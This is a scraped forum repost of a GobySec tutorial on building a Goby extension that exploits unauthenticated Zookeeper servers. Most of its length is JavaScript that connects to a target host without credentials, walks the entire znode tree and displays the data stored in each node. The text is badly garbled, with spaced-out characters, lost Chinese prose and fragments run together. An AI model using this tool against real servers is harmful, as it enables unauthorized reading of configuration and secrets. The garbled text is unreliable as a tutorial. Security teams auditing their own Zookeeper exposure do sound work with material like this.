[17840] 2021-04-28_插件分享如何快速上手Zookeeper未授权漏洞

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2021-04-28_插件分享如何快速上手Zookeeper未授权漏洞   |     Z o o k e e p e r   h 1 e i 1   G o b y S e c   2 0 2 1 - 0 4 - 2 8
G o b y 1 3   3 4 1 0         9  
G o b y     Z o o k e e p e r     0 1   1 . 1   使 使   Z o o k e e p e r   " V i e w "   Z o o k e e p e r     0 2   2 . 1   @ F a z   E S   p a c k a g e . j s o n     e x t e n s i o n . j s  
2 . 2   :   Z o o k e e p e r     n o d e . j s     Z o o k e e p e r   :   e x t e n s i o n . j s     h t m l   @ g o 0 p     R e d i s - c l i     e x t e n s i o n s   n o d e - z o o k e e p e r - c l i e n t
:   h t m l   c o p y   2 . 3   e x t e n s i o n . j s 使   g o b y / e x t e n s i o n s       n p m e x t e n s i o n . j s   n o d e - z o o k e e p e r - c l i e n t n p m   i n s t a l l   n o d e - z o o k e e p e r - c l i e n t f u n c t i o n   a c t i v a t e ( c o n t e n t )   {         c l a s s   Z o o k e e p e r U {     / / Z o o k e e p e r                 c o n s t r u c t o r ( ) {     / /                         t h i s . Z o o k e e p e r   =   r e q u i r e ( ' n o d e - z o o k e e p e r - c l i e n t ' ) ;     / /                         t h i s . c l e n t ;                 }                 Z c l e n t ( h o s t i n f o ) {     / / z o o k e e p e r                         t h i s . c l e n t   =   t h i s . Z o o k e e p e r . c r e a t e C l i e n t ( h o s t i n f o , { s e s s i o n T i m e o u t : 5 0 0 0 } ) ;                         t h i s . c l e n t . c o n n e c t ( ) ;                         c o n s o l e . l o g ( t h i s . c l e n t )                 }                 s e t I n f o ( h o s t i n f o ) {                         t h i s . h o s t i n f o   =   h o s t i n f o ;                 }                 g e t I n f o ( ) {                         r e t u r n   t h i s . h o s t i n f o ;
使                           r e t u r n   t h i s . h o s t i n f o ;                 }                 g e t L i s t t r e e ( ) {         / /                         r e t u r n   n e w   P r o m i s e   ( ( r e s o l v e , r e j e c t )   = >   {                                 t h i s . c l e n t . l i s t S u b T r e e B F S ( ' / ' ,   f u n c t i o n   ( e r r o r ,   c h i l d r e n )   {                                         i f   ( e r r o r )   {                                                 c o n s o l e . l o g ( e r r o r . s t a c k ) ;                                                 r e t u r n ;                                         }                                                                                 r e s o l v e ( c h i l d r e n ) ;                                 } ) ;                         } )                 }                 g e t D a t a a ( p a t h ) {         / /                         r e t u r n   n e w   P r o m i s e   ( ( r e s o l v e , r e j e c t )   = >   {                                 t h i s . c l e n t . g e t D a t a ( p a t h ,   f u n c t i o n   ( e r r o r ,   d a t a , s t a t )   {                                         i f   ( e r r o r )   {                                                 c o n s o l e . l o g ( e r r o r . s t a c k ) ;                                                 r e t u r n ;                                         }                                                                                 r e s o l v e ( d a t a . t o S t r i n g ( ) ) ;                                 } ) ;                         } )                 }         }         i f   ( ! w i n d o w . Z o o k e e p e r U ) {       / / Z o o k e e p e r                 w i n d o w . Z o o k e e p e r U   =   n e w   Z o o k e e p e r U ( ) ;         }         g o b y . r e g i s t e r C o m m a n d ( ' z o o k e e p e r ' ,   ( c o n t e n t )   = >   {                 w i n d o w . Z o o k e e p e r U . s e t I n f o ( c o n t e n t . h o s t i n f o ) ;     / / h o s t i n f o ( I P )                 w i n d o w . Z o o k e e p e r U . Z c l e n t ( c o n t e n t . h o s t i n f o ) ;                     l e t   p a t h   =   _ _ d i r n a m e   +   " / i n d e x . h t m l " ;                 g o b y . s h o w I f r a m e D i a ( p a t h ,   " Z o o k e e p e r   U n a u t h o r i z e d   E x p l o i t a t i o n " ,   " 6 0 0 " ,   " 6 0 0 " ) ;         } ) ;         g o b y . r e g i s t e r C o m m a n d ( ' z o o k e e p e r _ v i s i ' ,     ( c o n t e n t )   = >   {                 r e t u r n   c o n t e n t . n a m e   = = =   " z o o k e e p e r   u n a u t h o r i z e d "       / /         } ) ; } e x p o r t s . a c t i v a t e   =   a c t i v a t e ; n o d e - z o o k e e p e r - c l i e n t
          v o i d 使   P r o m i s e   2 . 4   i n d e x . h t m l j a v a s c r i p t   Z o o k e e p e r     l i s t S u b T r e e B F S ( ) g e t D a t a ( ) < s c r i p t >     v a r   Z k   =   p a r e n t . Z o o k e e p e r U ;         / / Z o o k e e p e Z o o k e e p e r     l e t   h o s t i n f o   =   Z k . g e t I n f o ( ) ;         v a r   p a t h   = " / " ;     Z k . Z c l e n t ( h o s t i n f o ) ;       Z k . g e t L i s t t r e e ( ) . t h e n ( f u n c t i o n   ( r e s ) {     / / P r o m i s e t h e n         v a r   a r r = " " ;         f o r ( l e t   i = 1 ; i < r e s . l e n g t h ; i + + ) {                 v a r   a = 0 ;             f o r ( l e t   j = r e s . l e n g t h ; j > i ; j - - ) {                 v a r   b   =   r e s . s l i c e ( j , j + 1 ) ;                 v a r   c   =   b . t o S t r i n g ( ) ;                 i f ( c . i n c l u d e s ( r e s [ i ] ) = = t r u e ) {                     a = a + 1 ;                 }             }             i f ( a = = 0 ) { a r r   + =   ' < p > ' +   r e s [ i ]   +   '     F i l e '   + ' < / p > ' ; }             e l s e { a r r   + =   ' < p > ' +   r e s [ i ]   + '       F i l e   N o d e ' +   ' < / p > ' ; }         }         d o c u m e n t . g e t E l e m e n t B y I d ( " L i s t n a m e " ) . i n n e r H T M L   =   a r r ;     } ) ;       Z k . g e t D a t a a ( p a t h ) . t h e n ( f u n c t i o n   ( r e s ) { d o c u m e n t . g e t E l e m e n t B y I d ( " F i l e d a t a " ) . i n n e r H T M L   =   r e s ; } ) ;       f u n c t i o n   g e t i n p u t ( ) {           p a t h   =   d o c u m e n t . g e t E l e m e n t B y I d ( " f i l e n a m e " ) . v a l u e ;           Z k . g e t D a t a a ( p a t h ) . t h e n ( f u n c t i o n   ( r e s ) { d o c u m e n t . g e t E l e m e n t B y I d ( " F i l e d a t a " ) . i n n e r H T M L   =   r e s ; } ) ;       } < / s c r i p t > p a c k a g e . j s o n R e a d m e . m d C h a n g l o g . m d  
  0 3   G o b y   @   @ g o 0 p   西 G o b y   G o b y h t t p s : / / g o b i e s . o r g / d o c s . h t m l B ~ h t t p s : / / w w w . b i l i b i l i . c o m / v i d e o / B V 1 u 5 4 y 1 4 7 P F /   c 1 o 2 a 3   |   C h a n g l o g . m d  
  B a c d e   |   I P R a p i d D N S   P o c   S i r   |   P a c k e r   F u z z e r   g o 0 p   |   G o b y   A P I G o b y _ e x p   z h z y k e r   |   W e b v u l m a p   > >     / h t t p s : / / g i t h u b . c o m / g o b y s e c / G o b y E x t e n s i o n / p r o j e c t s
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则